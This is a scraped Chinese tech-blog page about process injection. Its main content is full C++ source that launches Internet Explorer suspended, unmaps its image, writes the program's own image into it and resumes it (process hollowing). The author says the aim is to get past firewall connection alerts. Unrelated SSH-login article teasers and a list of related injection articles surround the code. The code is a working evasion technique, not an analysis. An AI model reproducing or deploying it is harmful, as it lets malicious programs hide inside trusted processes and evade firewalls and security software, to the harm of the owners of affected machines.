进程注入 1

SSH免密码登录 目录 SSH免密码登录 1 测试连接 2 开始配置 2.1 生成公钥与私钥 2.2 免密访问本机 2.3 免密访问其他主机 3 最后 SSH免密码登录 SSH免密码登录顾名思义,就是实现认证过的用户远程登录会话不再需要输入密码。比如我们在启动hadoop集群时,如果不配置SSH免密码登录,那启动每一台从机时都需要输入密码,这无疑是繁琐的。 SSH免密码登录主要针... 阅读详情

这段代码启动 iexplorer.exe 进程,将本身 EXE 的 image 数据写入 iexplorer.exe 地址空间中. 可能出现的问题是 如果本身 EXE 加载了其它 DLL 那么将会应为库缺失而执行出错.  应该是本身 EXE 的引用API 全部用 LoadLibrary,GetProcAddress 来得到。系统只会为每个 Image File 默认加载几个系统 DLL, 例如 kernel32.dll.

配合 sock 可以绕过防火墙的连接警报。

// Inject.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>


#pragma comment(lib,"ntdll.lib")


typedef long NTSTATUS;


extern "C"
{
  NTSYSAPI
  NTSTATUS 
  NTAPI 
  ZwUnmapViewOfSection(  HANDLE ProcessHandle,  PVOID BaseAddress  );

}

typedef struct _ChildProcessInfo
{
 DWORD dwBaseAddress;
 DWORD dwReserve;

} CHILDPROCESS, *PCHILDPROCESS;


BOOL  FindIePath( char *IePath, int *dwBuffSize );
 
BOOL InjectProcess(void);

DWORD GetSelfImageSize( HMODULE hModule );

BOOL  CreateInjectProcess(  PPROCESS_INFORMATION pi,
                            PCONTEXT  pThreadCxt,
                            CHILDPROCESS  *pChildProcess );

char szIePath[MAX_PATH];

int main(void)
{
 if (InjectProcess() )
 {  
  printf("This is my a test code,made by FISH./r/n");
 
 } else
 {  
  MessageBox(NULL,"进程插入完成","Text",MB_OK);
 }

 return 0;
}

BOOL  FindIePath( char *IePath, int *dwBuffSize )
{
 char szSystemDir[MAX_PATH];
 
 GetSystemDirectory(szSystemDir,MAX_PATH);
 
 szSystemDir[2] = '/0' ;
 lstrcat(szSystemDir,"
//Program Files//Internet Explorer//iexplore.exe");
 
 lstrcpy(IePath, szSystemDir);
 
 return TRUE;
}


BOOL InjectProcess(void)
{
 char      szModulePath[MAX_PATH];
 DWORD      dwImageSize = 0;
 
 STARTUPINFO    si = {0};
 PROCESS_INFORMATION  pi;
 CONTEXT     ThreadCxt;
 DWORD      *PPEB;
 DWORD      dwWrite = 0;
 CHILDPROCESS    stChildProcess;
 LPVOID      lpVirtual = NULL;
 PIMAGE_DOS_HEADER   pDosheader = NULL;
 PIMAGE_NT_HEADERS   pVirPeHead = NULL;
 
 HMODULE     hModule = NULL;
 
 ZeroMemory( szModulePath, MAX_PATH );
 ZeroMemory( szIePath, MAX_PATH );
 
 GetModuleFileName( NULL, szModulePath, MAX_PATH );
 FindIePath( szIePath, NULL );
 
 if ( lstrcmpiA( szIePath, szModulePath ) == 0 )
 {  

  MessageBox (NULL, "当前执行代码的进程是 IEXPLORER.EXE", "已经被注入", MB_OK );

  return FALSE;
 }
 
 hModule = GetModuleHandle( NULL );
 if ( hModule == NULL )
 {  
  return FALSE;
 }
 
 pDosheader = (PIMAGE_DOS_HEADER)hModule;
 pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);
 
 dwImageSize = GetSelfImageSize(hModule);
 
 //
 // 以挂起模式启动一个傀儡进程,这里为了传透防火墙,使用IE进程
 //
 
 if ( CreateInjectProcess( &pi,  &ThreadCxt , &stChildProcess ) )
 {
  printf("CHILD PID: [%d]/r/n",pi.dwProcessId);
  //
  // 卸载需要注入进程中的代码
  //
  if ( ZwUnmapViewOfSection(  pi.hProcess,  (LPVOID)stChildProcess.dwBaseAddress ) == 0 )
  {
   //
   // 重新分配内存
   //
   lpVirtual = VirtualAllocEx(  pi.hProcess,  (LPVOID)hModule,  dwImageSize,  MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE  );
   if ( lpVirtual )
   {

    printf("Unmapped and Allocated Mem Success./r/n");
   }
 
  } else
  {
   printf("ZwUnmapViewOfSection() failed./r/n");
   return TRUE;
  }
 
  if ( lpVirtual )
  {
   PPEB = (DWORD *)ThreadCxt.Ebx;   
   //
   // 重写装载地址
   
   WriteProcessMemory(  pi.hProcess,  &PPEB[2],  &lpVirtual,  sizeof(DWORD),  &dwWrite  );
   //
   // 写入自己进程的代码到目标进程
   //
   if ( WriteProcessMemory(  pi.hProcess,  lpVirtual,  hModule,  dwImageSize,  &dwWrite) )
   {
    printf("image inject into process success./r/n");
  
    ThreadCxt.ContextFlags = CONTEXT_FULL;
    if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
    {
     ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
    } else
    {
     ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
    }
  
  #ifdef DEBUG
    printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax);
    printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx);
    printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx);
    printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx);
    printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip);
  #endif
  
    SetThreadContext(pi.hThread, &ThreadCxt);
    ResumeThread(pi.hThread);
  
   } else
   {
    printf("WirteMemory Failed,code:%d/r/n",GetLastError());
    TerminateProcess(pi.hProcess, 0);
   }
  
  } else
  {
   printf("VirtualMemory Failed,code:%d/r/n",GetLastError());
   TerminateProcess(pi.hProcess, 0);
  }
 }
 
 return TRUE;
}

DWORD GetSelfImageSize( HMODULE hModule )
{
 DWORD dwImageSize;

 _asm
 {
  mov ecx,0x30
  mov eax, fs:[ecx]
  mov eax, [eax + 0x0c]
  mov esi, [eax + 0x0c]
  add esi,0x20
  lodsd
  mov dwImageSize,eax
 }

 return dwImageSize;
}

BOOL  CreateInjectProcess(  PPROCESS_INFORMATION pi,
       PCONTEXT   pThreadCxt,
       CHILDPROCESS  *pChildProcess
       )

{
 STARTUPINFO si = {0};
 
 DWORD   *PPEB;
 DWORD   read;

 // 使用挂起模式启动 IE
 if( CreateProcess(  NULL,
      szIePath,
      NULL,
      NULL, 
      0, 
      CREATE_SUSPENDED,
      NULL, 
      NULL,
      &si,
      pi ) )
 {
  pThreadCxt->ContextFlags = CONTEXT_FULL;
  GetThreadContext(pi->hThread, pThreadCxt);
  
  PPEB = (DWORD *)pThreadCxt->Ebx;
  
  // 得到ie的装载基地址
  ReadProcessMemory(  pi->hProcess,  &PPEB[2],  (LPVOID)&(pChildProcess->dwBaseAddress),
       sizeof(DWORD),
       &read  );

  return TRUE ;

 }

 return FALSE;
}
 

配置SSH免密码登录案例 在搭建Hadoop集群时,经常需要设置多个节点之间的免密码登录,今天把这个操作完整的整理出来,以便事后参考 总体思路: 1.在集群各节点上产生公匙和私匙 2.把公匙copy到需要免密码登录的节点上 我们用两个节点来举例:node1和node2,想要实现从node2免密码登录到node2, 在node2上创建ssh公钥和私钥,然后把nod2的ssh公钥copy到node1即可,下面是 阅读详情

相关推荐

Linux设置ssh免密码登录

访问linux主机时,如何设置ssh免密码登录?详细步骤见文章

甘蓝的专栏 2075

你真的了解进程注入吗?

这里的第一个参数还是跟上面一样进程的句柄,第二个参数设置为nullptr,第三个参数就是shellcode的大小,第四个参数表示指向一个应用程序定义的函数的指针,这个参数的类型为 LPTHREAD_START_ROUTINE,这里的第一个参数就是我们进程的句柄,第二个参数就是我们使用VirtualAllocEx申请的地址,第三个参数就是shellcode,第四个参数表示shellcode的大小,最后一个参数就是写入字节数的输出参数。对于要运行的进程,它必须有一个正在运行的线程,该线程是运行代码的组件。

weixin_65550121的博客 2303

process-inject:在Windows环境下的进程注入方法:远程线程注入,创建进程挂起注入,反射注入,APCInject,SetWindowHookEX注入

process-inject:在Windows环境下的进程注入方法:远程线程注入,创建进程挂起注入,反射注入,APCInject,SetWindowHookEX注入

十种进程注入技术介绍:常见注入技术及趋势调查

前言 进程注入是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。尽管目前有许多进程注入技术,但在这篇文章中,我将会介绍十种在野发现的,在另一个程序的地址空间执行恶意代码的进程注入技术,并提供这些技术应用的截图,以便于逆向工程和恶意软件分析,然后协助检测并防御这些进程注入技术。 一、...

Fly_鹏程万里 2040

强化学习-----DQN(Deep Q-network)

DQN(Deep Q-Network)是一种基于深度学习和强化学习的算法,由DeepMind提出,用于解决离散动作空间下的马尔科夫决策过程(MDP)问题。它是首个成功将深度学习应用于解决强化学习任务的算法之一。DQN,即深度Q网络(Deep Q-network),是指基于深度学习的Q-Learing算法。那什么是Q-leaning?可以看上一篇文章Q-learning是一种经典的强化学习算法,用于解决马尔可夫决策过程(Markov Decision Process,MDP)中的控制问题。

qq_74722169的博客 2万+

告别环境配置焦虑:在Win10的Ubuntu子系统里搞定CSAPP实验环境(附32/64位库编译指南)

本文详细介绍了如何在Win10的Ubuntu子系统中搭建CSAPP实验环境,包括WSL 2的安装与配置、32/64位库的编译指南以及高效开发工具链的设置。通过优化WSL性能和使用实用技巧,开发者可以轻松应对CSAPP实验中的环境配置问题,提升学习效率。

weixin_30443813的博客 297

10种常见的进程注入技术的总结

译者:myswsun 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 0x00 前言 进程注入是一种广泛应用于恶意软件和无文件攻击中的逃避技术,这意味着可以将自定义代码运行在另一个进程的地址空间内。进程注入提高了隐蔽性,也实现了持久化。尽管有非常多的进程注入技术,但是本文我只列举了10种常见的技术。我还提供了这些

qing666888的专栏 1万+

分享一下使用Xilinx FPGA驱动MIPI DSI LCD屏的心路历程

分享一下调试用Xilinx FPGA驱动MIPI DSI LCD屏的心路历程,看到的朋友们,可以避免继续踩坑。

haoxingheng的专栏 5017

进程注入系列Part 1 常见的进程注入手段

进程注入是一种众所周知的技术,恶意程序利用它在进程的内存中插入并执行代码。进程注入是一种恶意程序广泛使用的防御规避技术。大多数情况下,恶意程序使用进程注入来动态运行代码,这意味着实际的恶意代码不需要直接写入磁盘上的文件中,以避免被防病毒软件的静态检测所发现。简单来说,进程注入就是将一段数据从一个进程传输到另一个进程的方法,这种注入过程可以发生在执行操作的同一进程(自注入)上,也可发生在外部进程上。

蛇矛实验室 2337

三甲医院网络架构与安全建设实战

华为OceanStor] [华为OceanStor][PACS存储双活] [HIS数据库同步]患者隐私 数据脱敏 天清Web防火墙动态脱敏策略。主数据中心 --[OTV专线]-- 备数据中心。实现医疗业务网/卫生专网/互联网三网隔离。核心业务配置(华为CE6865)自动备份配置(每天02:00)安全事件响应(30分钟SLA)漏洞扫描(每周日00:00)实现医疗物联网统一接入管控。五、等保2.0合规关键配置。堡垒机登录(双因素认证)四、医疗物联网安全方案。

有小小的远大抱负 1911

Streamlit安装避坑指南:从零到一键启动你的第一个数据可视化应用

本文提供了一份详尽的Streamlit安装避坑指南,帮助用户从零开始快速启动第一个数据可视化应用。文章深入剖析了安装过程中常见的网络超时、依赖冲突、环境变量缺失等核心问题,并给出了使用虚拟环境、配置国内镜像源、利用.whl文件离线安装等多种经过验证的解决方案,确保安装过程顺畅无阻。

weixin_29065015的博客 616

SSH远程登录和SSH免密码登录

  SSH是一种通讯协议,可以实现远程安全登录。可以通过如putty、MobaXterm等工具通过ssh安全登录到虚拟机进行操作。 Openssh:ssh远程安全登录的开源实现(软件)。 一、SSH远程登录的原理(基于口令) 1、客户端向服务器发送远程请求 如bigdata3登录到bigdata4: 2、服务器接收到请求后,将自己的主机的公钥发送给客户端,公钥用于加密 3、客户端将...

奔跑_蜗牛 11万+

F280049C Crossbar X-BAR

X-BAR不是一个功能模块,只起内部外设与外设之间,或内部外设与GPIO的连接作用。配置X-BAR的就是在配置信号之间的连接。确实如这一节的开头所言,X-BAR提供了以各种配置连接设备输入、输出和内部资源的灵活性。学完这一节也知道为什么crossbar(X-BAR)的中文翻译是交叉开关。

xht2403267701的博客 3048

linux ssh免密码登录详解

一.ssh免密码登陆需求 在我们处理集群或分布式系统时,经常会涉及到多个linux系统服务器。而在多个服务器间通信或资源共享时,如scp命令文件拷贝,需要录入密码校验,使操作过于繁琐,当密码精度过高时,整个操作也方便。 那如何处理多个系统间免密码登陆? 1. 各服务器系统不设置密码,但此安全性不能保证,不推荐。 2.通过ssh实现免密码登陆。 二.ssh免密码登陆原理 在客户端服务器通过ssh-gen命令生成一个公钥

if(true){ I love it } 6361

海洋浮游生物识海洋浮游生物识别系统:基于YOLOv10的显微图像自动检测与UI别系统:基于海洋浮游生物识别系统:基于YOLOv10的显微图像自动检测与UI展示YOLOv10的显微图像自动检测与UI展示

本文介绍了如何利用YOLOv10模型进行海洋浮游生物的自动识别,旨在提高传统显微镜观测的效率与准确性。研究背景强调了浮游生物在海洋生态系统中的重要性,并指出传统方法的局限性。数据集选用WHOI-Plankton,包含70多种浮游生物的20000多张带标签图像。文章详细描述了YOLOv10模型的安装、数据集配置、训练与测试步骤,并提供了基于PyQt5的图形化检测界面代码。结果显示,模型在精度、召回率和mAP@0.5等指标上表现优异,推理速度达到约30 FPS。最后,文章提出了部署建议和未来优化方向,如集成摄像

YOLO 377

【异常】Codybuddy Error Code: 14003 too many requests 限流报错问题排查与解决指南

14003报错本质为服务端限流拦截,并非账号封禁或程序致命故障,90%以上的场景可通过等待冷却+规范使用行为解决。通过本文的排查步骤,可快速恢复工具使用,同时规避后续重复触发该问题。

奶爸的编程之路,也就一周冷个三天 1254

ssh免密码登录

在这需要大致讲解一下ssh的含义,ssh 是secure shell,安全的shell,通过ssh可以远程登录到远程linux机器。 我们下面要讲的hadoop集群就会使用到ssh,我们在启动集群的时候只需要在一台机器上启动就行,然后hadoop会通过ssh连到其它机器,把其它机器上面对应的程序也启动起来。 但是现在有一个问题,就是我们使用ssh连接其它机器的时候会发现需要输入密码,所以现在需要实现ssh免密码登录。 那有同学可能有疑问了,你这里说的多台机器需要配置免密码登录,但是我们现在是伪分布集群啊,只

赵广陆 680

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

linux免密码登录ftp,配置SSH免密码登录

前言Secure Shell(缩写为SSH),是一项创建在应用层和传输层基础上的安全协议,为计算机上的Shell(壳层)提供安全的传输和使用环境。传统的网络服务程序,如rsh、FTP、POP和Telnet其本质上都是不安全的;因为它们在网络上用明文传送数据、用户帐号和用户口令,很容易受到中间人(man-in-the-middle)攻击方式的攻击。就是存在另一个人或者一台机器冒充真正的服务器接收用户...

weixin_39939661的博客 2001

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

配置ssh免密码登录

配置ssh免密码登录是让各节点能自动通过安全认证,不影响正常通讯。 安装ssh有两种方式: 在ubuntu上在线安装 执行命令 $sudo apt-get install ssh $sudo apt-get update 离线安装 在网上下载离线包,拷贝到ubuntu中按照离线包中的安装说明在本地进行安装 然后确认sshserver是否启动了: $ ps -e | gre...

沐雨金鳞 600

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

设置ssh免密码登录

本文是我看传智播客赵老师视频所记的笔记。初学Hadoop,难免会有一些理解上不正确的地方,欢迎批评指正。 配置ssh免密码登录需要生成一对密钥(公钥和私钥)。 ssh-keygen -t rsa  (-t表示加密的类型,采用rsa加密算法) 也可以直接执行: ssh-keygen (默认采用的是rsa加密算法)     执行之后产生了id_rsa (私钥)和 id_rsa.pub(公...

Lucius的专栏 1413

Linux下配置SSH免密码登录

假设用户名为sinbad 1) 确认已经连接上了互联网,这时候我们要做的事情就是下载ssh安装包 你要做的就是按 Y  就可以了。   2)配置为可以免密码登录本机,首先要查看当前用户下是不是存在 “.ssh” 文件夹。 因为这是一个隐藏文件夹,所以我们需要输入命令行: ls -a /home/sinbad (显示所有的文件) 一般来说的话,安装ssh的时候,会自动在

sinbad840628的专栏 1229

在 Windows 10 上实现免密码 SSH 登录

前言# 在日常开发中,SSH(Secure Shell)作为一种安全的远程登录协议,广泛用于 Linux 和 Windows 系统之间的连接。为了提高效率,我们可以通过配置免密码登录,省去每次连接时输入密码的繁琐过程。 本文将详细介绍如何在 Windows 10 上配置 SSH 免密码登录,类似于 Linux 系统上的 ssh-add 功能。 1. 准备工作:确保 OpenSSH 已安装# 在开...

weixin_40407465的博客 387
上一篇: 脱壳的艺术--3 断点和补丁检测技术
下一篇: 自动启动程序
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值